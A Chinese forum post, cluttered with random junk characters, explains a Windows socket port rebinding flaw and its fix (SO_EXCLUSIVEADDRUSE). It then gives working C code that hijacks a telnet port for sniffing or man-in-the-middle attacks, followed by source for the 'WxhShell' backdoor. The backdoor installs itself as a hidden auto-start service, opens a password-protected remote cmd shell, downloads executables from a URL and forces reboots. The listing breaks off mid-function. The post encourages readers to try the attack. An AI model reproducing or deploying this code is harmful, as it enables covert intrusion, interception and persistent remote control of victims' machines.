在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
( 4(," s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
|p.|zH JIPBJ saddr.sin_family = AF_INET;
qWM+!f S#:l17e3 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
N@0cn
q:" c{
([U bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
rXP~k]tC CorV!H4
其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
F:N8{puq5 vb6kr?-i* 这意味着什么?意味着可以进行如下的攻击:
D$N;Qb l"-Z#[ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
8qL.L(=\/ &-Ylj 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Z C<+BKS -}3nIk<N 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Vh{(*p TJCE6QG 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
l];/,J^ 6n^@Ps 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
RdBIbm u4j"U6"]M 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Y>6N2&Q )2a)$qx; 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
]I_*+^?tI aW-6$=W #include
T+e*' <!O #include
.cm2L,1h #include
5th?m> #include
[ ou$* DWORD WINAPI ClientThread(LPVOID lpParam);
1yVhO2`7] int main()
w2db=9 {
j#0JD!Vr WORD wVersionRequested;
||?@pn\ DWORD ret;
!Au#j^5K-o WSADATA wsaData;
Q(36RX%@ BOOL val;
V';l H2 SOCKADDR_IN saddr;
d6W\
\6V SOCKADDR_IN scaddr;
P ^ 4 @ int err;
C;j&Vbf SOCKET s;
stUUez> SOCKET sc;
&d0sv5&s int caddsize;
gB~^dv { HANDLE mt;
?~b(iZ DWORD tid;
C]p@7"l wVersionRequested = MAKEWORD( 2, 2 );
/'VbV8% err = WSAStartup( wVersionRequested, &wsaData );
0( *L)s,5 if ( err != 0 ) {
f7y.##W G printf("error!WSAStartup failed!\n");
j+@3.^vK return -1;
AJm$(3?/D }
]f0OmUHR5i saddr.sin_family = AF_INET;
1
+[sM T7%!JBg@ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
'%82pZ,? Nte$cTjX saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
9z..LD( saddr.sin_port = htons(23);
$xWUzg1<U if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Qe{w)e0}` {
q
k6 printf("error!socket failed!\n");
8CZ%-}-%$ return -1;
k/D{&(F ~ }
*~>p;* val = TRUE;
X'-Yz7J?o //SO_REUSEADDR选项就是可以实现端口重绑定的
X
=%8*_ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
7f4O~4.[i {
x x4GP2 printf("error!setsockopt failed!\n");
N#2ldY * return -1;
nwh @F1| }
^sB0$|DU //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
&a;?o~%*]i //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
/-,\$@J5) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
M(zZ8# Z`u$#<ukX if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
xP!QV~$> {
FF~r&h8H ret=GetLastError();
%4f.<gz~r| printf("error!bind failed!\n");
+D:8r|evH return -1;
-rn6ZSD) }
Q2D!Agq=D listen(s,2);
xhOoZ- while(1)
W"^ =RY {
5|nc^
12 caddsize = sizeof(scaddr);
E^zfI9R
//接受连接请求
oFf9KHorW sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
fjVy;qJ32S if(sc!=INVALID_SOCKET)
#K6cBfqI {
//_H_ue$ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
4A6Yl6\Y if(mt==NULL)
r:;.?f@ {
F,{mF2U*$ printf("Thread Creat Failed!\n");
KVJ,
a break;
OU"%,&J }
fj))Hnt(| }
8M@'A5] CloseHandle(mt);
[d8Q AO1;) }
tw>2<zmSi% closesocket(s);
zD79 M WSACleanup();
Cf3!Ud return 0;
qS2Nk.e]o }
i*Ldec^ DWORD WINAPI ClientThread(LPVOID lpParam)
4G?^#+|^ {
KGHSEZi] SOCKET ss = (SOCKET)lpParam;
P=5+I+ SOCKET sc;
ANy*'/f unsigned char buf[4096];
>
:IWRc2 SOCKADDR_IN saddr;
NOuG# P long num;
L]|mWyzT DWORD val;
7P7OTN DWORD ret;
Pps-,*m //如果是隐藏端口应用的话,可以在此处加一些判断
{@^;Nw%J //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
*B"Y]6$ saddr.sin_family = AF_INET;
Z(T{K\)uN saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
v$W[( saddr.sin_port = htons(23);
J6AHc"k. if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`(sb {
[YfoQ1 printf("error!socket failed!\n");
N);w~)MYh return -1;
~DI$O[KpR% }
:Iv;%a0 - val = 100;
UnF8#~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"(^XZAU#W {
RhH1nf2UR ret = GetLastError();
o)/Pr7Qn return -1;
4=xi)qF/@ }
!qj[$x-ns if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<4"-tYa {
ds(?:zx# ret = GetLastError();
^taN?5 return -1;
_XV%}Xb' }
GWnIy6TH l if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
zKO7`.* {
LdV&G/G-#D printf("error!socket connect failed!\n");
S{rltT- closesocket(sc);
iqQT ^
closesocket(ss);
8w&-O~M return -1;
$/++afim }
_`|1B$@x while(1)
'6#G$ {
(~=.[Y //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
d9#Vq=H / //如果是嗅探内容的话,可以再此处进行内容分析和记录
xzm]v9k& //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
0N.h: 21(4 num = recv(ss,buf,4096,0);
!hBpon if(num>0)
4hL%J=0: send(sc,buf,num,0);
bf"'xn9 else if(num==0)
i#]e&Bru5 break;
GQqGrUQ*} num = recv(sc,buf,4096,0);
2T~cOH;T if(num>0)
uZS : send(ss,buf,num,0);
Xv8-<Ks else if(num==0)
L>1hiD& break;
xc:E>- }
PgWWa*Ew closesocket(ss);
&X$T "Dp closesocket(sc);
=_7wd*, return 0 ;
~2w&+@dV% }
<W80A J /SD}`GxH cqS :Zq ==========================================================
qTd[DaG# nqcq3o*B 下边附上一个代码,,WXhSHELL
W)In.?>]W MzJCiX^ ==========================================================
AK2Gm-hHK &AQqI #include "stdafx.h"
fu/8r%:h bbK};u #include <stdio.h>
lLx!_h #include <string.h>
m+kP"]v #include <windows.h>
{^VtD #include <winsock2.h>
}TmOoi(X@ #include <winsvc.h>
~~tTr$ #include <urlmon.h>
U(#<D7} {ez$kz #pragma comment (lib, "Ws2_32.lib")
t4WB^dHYp #pragma comment (lib, "urlmon.lib")
5p;AON a1U|eLmUb #define MAX_USER 100 // 最大客户端连接数
M"~jNe| #define BUF_SOCK 200 // sock buffer
/4:bx#;A #define KEY_BUFF 255 // 输入 buffer
1i76u!{U B0fOAP1 #define REBOOT 0 // 重启
n~N>;mP #define SHUTDOWN 1 // 关机
]gk1q{Ql< Zd*$^P,| #define DEF_PORT 5000 // 监听端口
};/QK* Z2% HQL2 #define REG_LEN 16 // 注册表键长度
L"bOc'GfQ #define SVC_LEN 80 // NT服务名长度
liKlc]oM =q4}( // 从dll定义API
HN5m %R&` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
I"07x'Ahq3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
8\n3
i" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
nw+~:c typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
)h{&O
,s )`\hK // wxhshell配置信息
rbw$=bX} struct WSCFG {
)g0lI int ws_port; // 监听端口
`fu_){ char ws_passstr[REG_LEN]; // 口令
@I_cwUO int ws_autoins; // 安装标记, 1=yes 0=no
Dyov}y char ws_regname[REG_LEN]; // 注册表键名
)dXa:h0RZ char ws_svcname[REG_LEN]; // 服务名
_bFUr char ws_svcdisp[SVC_LEN]; // 服务显示名
\Pg~j\;F] char ws_svcdesc[SVC_LEN]; // 服务描述信息
3nq?Y8yac char ws_passmsg[SVC_LEN]; // 密码输入提示信息
q2qi~}l int ws_downexe; // 下载执行标记, 1=yes 0=no
6j<9Y char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
M tN>5k c char ws_filenam[SVC_LEN]; // 下载后保存的文件名
|Wh3a# oaY_6 };
{f/qI` f-ltV<C_ // default Wxhshell configuration
^|]&"OaB
Z struct WSCFG wscfg={DEF_PORT,
BQ@7^E[ "xuhuanlingzhe",
C"{^wy{sL 1,
"HMEoZ "Wxhshell",
{keZ_2 "Wxhshell",
]K=#>rZrB "WxhShell Service",
d>NGCe "Wrsky Windows CmdShell Service",
7FB?t<x "Please Input Your Password: ",
i]JTKL{\q 1,
8:ubtB "
http://www.wrsky.com/wxhshell.exe",
Kb.qv)6i* "Wxhshell.exe"
?bTfQH
vX };
gD,&TW NVyBEAoh // 消息定义模块
w_9^YO!! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
(I[_}l char *msg_ws_prompt="\n\r? for help\n\r#>";
615Ya<3f8 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
!NXjax\r char *msg_ws_ext="\n\rExit.";
ks405 char *msg_ws_end="\n\rQuit.";
wj)LOA0 char *msg_ws_boot="\n\rReboot...";
#8$?#
dT char *msg_ws_poff="\n\rShutdown...";
Y"Cf84E char *msg_ws_down="\n\rSave to ";
@=-(H<0 pu-HEv}]a| char *msg_ws_err="\n\rErr!";
eV;r /4 char *msg_ws_ok="\n\rOK!";
th?+TNb^ 9^gYy&+>6] char ExeFile[MAX_PATH];
E
C?}iP int nUser = 0;
Ss3p6%V/ HANDLE handles[MAX_USER];
0YH5B5b int OsIsNt;
=7Ln&tZ O[@!1SKT0 SERVICE_STATUS serviceStatus;
xQoZ[ SERVICE_STATUS_HANDLE hServiceStatusHandle;
mw@Pl\= +C(-f // 函数声明
<Xf6?nyZ( int Install(void);
|{(<A4W int Uninstall(void);
J2mHPVA3 int DownloadFile(char *sURL, SOCKET wsh);
uYJS=NGNA int Boot(int flag);
sS D8Sx/ void HideProc(void);
fPR_3qgQ int GetOsVer(void);
_y@28t int Wxhshell(SOCKET wsl);
Y]z
:^D void TalkWithClient(void *cs);
]\E"oZ int CmdShell(SOCKET sock);
+;N]34>S7 int StartFromService(void);
Q@D7\<t int StartWxhshell(LPSTR lpCmdLine);
VtBC~?2U)B &D,Iwq VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
d?,'$$ aB VOID WINAPI NTServiceHandler( DWORD fdwControl );
{ 3G v 6 ~9)\!j // 数据结构和表定义
agIqca; SERVICE_TABLE_ENTRY DispatchTable[] =
DUp`zW;B {
p{f R$-d {wscfg.ws_svcname, NTServiceMain},
HJL! ;i {NULL, NULL}
,OE&e*1 };
Hon2;-:]{] |'^s3i&w // 自我安装
!09)WtsEfx int Install(void)
E^F"$Z"N {
AdX))xgl char svExeFile[MAX_PATH];
OO:S2-]Y>e HKEY key;
uLhGp@Dx strcpy(svExeFile,ExeFile);
B8&q$QV q_M N // 如果是win9x系统,修改注册表设为自启动
\PrJy6& if(!OsIsNt) {
pUIN`ya[[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Q(|@&83]. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
X+X:nL.t RegCloseKey(key);
yD\q4G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
?N#I2jxaD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
!xs}CxEyA RegCloseKey(key);
+! 1_Mt6 return 0;
1d^~KBfv }
oD)x\ )t8 }
|9*Rnm_ }
!)s(Lv%] else {
?<?Ogq"< XlppA3JON| // 如果是NT以上系统,安装为系统服务
_l
d.Xmvd SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
?]Yic]$n if (schSCManager!=0)
ot0teNF {
FP@_V-
SC_HANDLE schService = CreateService
N$fP\h^AR (
$BqiC!~ schSCManager,
(tK_(gO wscfg.ws_svcname,
Sd+5Uf` wscfg.ws_svcdisp,
qv!(In>u SERVICE_ALL_ACCESS,
<=(K'eqC^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
7 N}@zPAZ SERVICE_AUTO_START,
7Cz~nin>7 SERVICE_ERROR_NORMAL,
HqGI. svExeFile,
JrP`u4f_ NULL,
QiCia#_ NULL,
l`v5e"V NULL,
2&6D`{"P NULL,
TTf
j5 NULL
NdK`-RT );
pb!2G/,.[ if (schService!=0)
:~-: {
~OD6K`s3 CloseServiceHandle(schService);
]LE,4[VxRz CloseServiceHandle(schSCManager);
"~r<ZG strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
t]xz7VQ strcat(svExeFile,wscfg.ws_svcname);
&3vm
@ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
hY)zKX_r RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Q2CGC+ RegCloseKey(key);
d59rq<yI return 0;
2&hv6Y1 }
kZ9Gl!g }
r=j?0k '}] CloseServiceHandle(schSCManager);
5ibr1zs }
e=Ox~2S }
$tlBI:ay1 V&zeC/xSq return 1;
oodA&0{)d }
y-pdAkDh :zW? O#aL- // 自我卸载
01(U)F\ int Uninstall(void)
[* xdILj {
uQ=u@qtp HKEY key;
Ar-Vu{` k>i88^kPV if(!OsIsNt) {
S|tD8A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
3M#x)cW RegDeleteValue(key,wscfg.ws_regname);
"&_+!TBg, RegCloseKey(key);
M$x,B#b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
1wgL^Qz@ RegDeleteValue(key,wscfg.ws_regname);
v.ZUYa| RegCloseKey(key);
GRc)3
2, return 0;
L15)+^4n }
\`.v8C>vG }
&r,vD, }
EU(e5vO else {
C(>!?-. [8u9q.IZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
f2.=1)u. if (schSCManager!=0)
2Z; !N37U {
"P7OD^(x/ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
9Og if (schService!=0)
:7{GOx {
[I;C6p if(DeleteService(schService)!=0) {
U|wST&rU| CloseServiceHandle(schService);
D#nH g CloseServiceHandle(schSCManager);
<Zva return 0;
g0 f4>m }
VEV?$R7; CloseServiceHandle(schService);
1 |z4]R,< }
y[J9"k(@ CloseServiceHandle(schSCManager);
XT/t\\Z`U }
:EW1I>}_ }
RFM;?!S +S+!:IB return 1;
II'.vp }
fhi}x( ?0)K[Kd'Y // 从指定url下载文件
5Q"yn2b4 int DownloadFile(char *sURL, SOCKET wsh)
bI.hG32 {
nw+t!C HRESULT hr;
RIkIE=+6 char seps[]= "/";
'c~SE> char *token;
vhMoCLb char *file;
nscnG5'{+ char myURL[MAX_PATH];
8{Wl char myFILE[MAX_PATH];
+B{u,xgg oVK?lQ~y strcpy(myURL,sURL);
+*OAClt+] token=strtok(myURL,seps);
_J*l,]}S while(token!=NULL)
qt:B]#j@ {
xst-zfkH` file=token;
5$i(f8* token=strtok(NULL,seps);
u.E>d9 }
r?KRK?I 0H rvr GetCurrentDirectory(MAX_PATH,myFILE);
hq"nRH strcat(myFILE, "\\");
g Cp`J(2v: strcat(myFILE, file);
kNP-+o send(wsh,myFILE,strlen(myFILE),0);
Vc0j)3 send(wsh,"...",3,0);
1<:5b%^c hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
<hzHrx'o{ if(hr==S_OK)
Cuylozj$& return 0;
Dx\~#$S!= else
f0eQq;D$K return 1;
PE.UNo>o tOXyle~C }
+:Xg7H* UhR^Y{W5 // 系统电源模块
"IS; o o$g int Boot(int flag)
,3rsjoKhd {
#@nPB. HANDLE hToken;
MoxWnJy} TOKEN_PRIVILEGES tkp;
dkC_Sh{ #0)TS if(OsIsNt) {
6l,6k~Z9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
O0y0'P-rJq LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
75>%!mhM tkp.PrivilegeCount = 1;
Y"ta`+VJ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
/1TK+E$ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Dj= {% if(flag==REBOOT) {
:xg
J2 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
;\"5)S return 0;
5%wA"_ }
.|"E:qTD else {
,&Zp^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
=ZSYg K return 0;
.NWsr*Tel }
`]]m$ }
T6SYXQd>. else {
uf]wX(*<k if(flag==REBOOT) {
PL"=> if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
bv41et+Kb return 0;
9~^k3!>0 }
u;%~P 9O else {
0rX%z$D+@ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
;7[DFlS\P return 0;
.`*;AT }
`C7pM }
H.hKh "#36- return 1;
4iSN.nxIZ }
EqHToD I3 Vh01y f // win9x进程隐藏模块
W rT_7 void HideProc(void)
alxIc.[ {
'"q+[zwv f:nXE&X[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
UQ hD8Z'I. if ( hKernel != NULL )
b4$g$() {
1A93ol=
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
MF$Dx| Tcj ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
'oGMr=gp<& FreeLibrary(hKernel);
EWl9rF@I }
">B&dNrt s o: o
b} return;
}.u[';q]S }
gdAd7
T .R)Ho4CE // 获取操作系统版本
I+Y Z+ int GetOsVer(void)
RYl{89 {
cEXd#TlY~X OSVERSIONINFO winfo;
ui"`c%2n winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
1C=42ZZ&2 GetVersionEx(&winfo);
^^V+0 l if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
zWN]#W` return 1;
0LGHSDb else
-0'<7FSQ return 0;
@6[aLF]F }
aR)UHxvX M~X~2`fFH // 客户端句柄模块
l"&iSq!3= int Wxhshell(SOCKET wsl)
W`[7|8(6! {
?(khoL t SOCKET wsh;
;p,Kq5,l struct sockaddr_in client;
F)l1%FCm DWORD myID;
PTpfa*t <,*w$ while(nUser<MAX_USER)
ko{&~ {
yqJ>Z%)hf int nSize=sizeof(client);
_4{3^QZq5
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
i*xVD`x ~ if(wsh==INVALID_SOCKET) return 1;
dF|n)+C~R #BEXj<m+J handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
>0 := <RW if(handles[nUser]==0)
|+-b#Sa9 closesocket(wsh);
Nog{w else
JBV
06T_4o nUser++;
3"HEXJMc }
# b3 14 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
ieO w& FIJ]` return 0;
aTaL|&( }
}PMlG Qc Xw - // 关闭 socket
R{B5{~m>W@ void CloseIt(SOCKET wsh)
U~|)=+%O {
s2tNQtq0W closesocket(wsh);
*EU1`q* nUser--;
`y"a>gHC ExitThread(0);
3! KyO)8 }
*TL3-S? wLq#,X>%B // 客户端请求句柄
>'3nsR void TalkWithClient(void *cs)
x` 4|^u {
4{$ L]toP 43`Atw`\ SOCKET wsh=(SOCKET)cs;
h?QGJ^#8 char pwd[SVC_LEN];
gE23C*!'&: char cmd[KEY_BUFF];
H'@@%nO( char chr[1];
"NV~lJS% int i,j;
f1\mE~#} P?=}}DI while (nUser < MAX_USER) {
|l~#qeZ% pSx}:u^am if(wscfg.ws_passstr) {
|UQGZ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Fp+fZU //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
On;7 //ZeroMemory(pwd,KEY_BUFF);
!'bZ|j% i=0;
m*AiP]Qu while(i<SVC_LEN) {
9*a"^ oC TSV // 设置超时
LD;!
s fd_set FdRead;
7U)w\A;~ struct timeval TimeOut;
g s%[Cv FD_ZERO(&FdRead);
%pxHGO=)E FD_SET(wsh,&FdRead);
%8KbVjn TimeOut.tv_sec=8;
cS",Bw\ TimeOut.tv_usec=0;
s8*Q@0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
aO
*][;0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
7$kTeKiP bL%-9BG if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
:<6gP( pwd
=chr[0]; YB9)v5Nz(
if(chr[0]==0xd || chr[0]==0xa) { 9+'*
pwd=0; a/~1CrYr
break; 8$ _8Yva"e
} NE?tfj
i++; a^)@}4
} ZGS4P 0$
I5E4mv0<i
// 如果是非法用户,关闭 socket E`q)vk
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fTI~wF8!
} kI^Pu
ou\~^
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kybDw{(}gc
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jrO{A3<E
B5qlU4km&
while(1) { Tu=~iQ
fp$U%uj
ZeroMemory(cmd,KEY_BUFF); 2()/l9.O'
Y-v6M3$
// 自动支持客户端 telnet标准 ^B'N\[
j=0; dJ7 !je1N*
while(j<KEY_BUFF) { ^Zq3K
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LHusy;<E[
cmd[j]=chr[0]; U1pwk[
if(chr[0]==0xa || chr[0]==0xd) { pE]s>Ta
cmd[j]=0; sWMY
Lo
break; )#Id=c
} Uclta
j++; KCS},X_
} NY%=6><t!
u:}yE^8 @
// 下载文件 p~<d8n4UH
if(strstr(cmd,"http://")) { O<+x=>_
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y-P?t+l
if(DownloadFile(cmd,wsh)) xU;Q~(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5J*h7
else A~wVY
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $$---Y
} :w26d-QR(
else { 3W@ta1
?_@Mg\Hc
switch(cmd[0]) {
QjFE
.10$n*
// 帮助 6hf6Z3
case '?': { TE@bV9a
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fsV_>5I6
break; *|.-y->
} a(K^/BT
// 安装 NfXEW-
case 'i': { oedLe9!
if(Install()) ka| 8 _C^z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x4/f5
else -Z&9pI(3R~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^r^) &]
break; O`'r:W
} 1y6{3AZm<
// 卸载 5H/D~hr&
case 'r': { hv9k9i7@l
if(Uninstall()) f26hB;n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); JrwR:_+|
else E3 aj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m 3"|$0C~
break; ??? ;H
} +IbQVU~/
// 显示 wxhshell 所在路径 ivP#qM1*;
case 'p': { j#
!U6T
char svExeFile[MAX_PATH]; oTxE]a,
strcpy(svExeFile,"\n\r"); e'5sT#T9 l
strcat(svExeFile,ExeFile); \t%rIr
send(wsh,svExeFile,strlen(svExeFile),0);
m7.6;k.
break; +{H0$4y
} \WZ]'o6
// 重启 F@kd[>/[
case 'b': { =
GZ,P
(
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >jg"y
if(Boot(REBOOT)) OVU+V 0w1a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rI;tMNs
else { g+/m:(7[s|
closesocket(wsh); |Fp+9U
ExitThread(0); 4xzoA'Mb@
} &265
B_'D
break; N Uo
} 4Y4QR[>IU3
// 关机 n_MY69W
case 'd': { 9*j$U$:'
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [BKX$A:Y
if(Boot(SHUTDOWN)) j#YPo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (2p<I)t
else { 3YJa3fflK
closesocket(wsh); H+F>#
ExitThread(0); K}9 c$C4
} \"?5CHz*
break; Z-rHYfa4
} TAKvE=a;
// 获取shell hScC<=W
case 's': { eaCh;IpIf
CmdShell(wsh); !5=S2<UX
closesocket(wsh); }J|Pd3Q Sf
ExitThread(0); I&|J +B?#
break; y:ad%,. C
} ~SR9*<
// 退出 >m4Q*a4M
case 'x': { /m(v5v7(
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5.zv0tJku
CloseIt(wsh); [X\~J &kD
break; O#B2XoZa+
} OCN@P+L3q
// 离开 wJu,N(U
case 'q': { vC>8:3Zaq
send(wsh,msg_ws_end,strlen(msg_ws_end),0); eeu;A,@U
closesocket(wsh); aXRf6:\%
WSACleanup(); $I:&5 o i
exit(1); Y>Tok|PV
break; kNrN72qg
} s>1Wjz2M
} IH$ZPux
} qB8R4wCf
dE]yb|Ld
// 提示信息
k;xIo(:
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x{#W84
} .<kbYo:MV
} PQA}_o
6PdLJ#LS
return; xfADks2w
} yHjuT+/wM,
\S[I:fw#&
// shell模块句柄 kP,^c{
int CmdShell(SOCKET sock) Xjs`iK=w
{ #f-pkeaeq
STARTUPINFO si; r`5svY
ZeroMemory(&si,sizeof(si)); I*hzlE
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r%UsUj
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l/g6Tv`w
PROCESS_INFORMATION ProcessInfo; .}ePm(
char cmdline[]="cmd"; d}--}&r
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a5nA'=|}i
return 0; FoB^iA6e
} t)4AQ
vj hh4$k
// 自身启动模式 <%GfF![v
int StartFromService(void) uwo\FI
{ 8c^Hfjr0
typedef struct =--oH'P=M
{ "1|\V.>>;
DWORD ExitStatus; O"V;otlC
DWORD PebBaseAddress; nC(<eL
DWORD AffinityMask; =]m,7 v Rq
DWORD BasePriority; EUjA-L(
ULONG UniqueProcessId; R8C#DB
ULONG InheritedFromUniqueProcessId; ()o[(Hx+ph
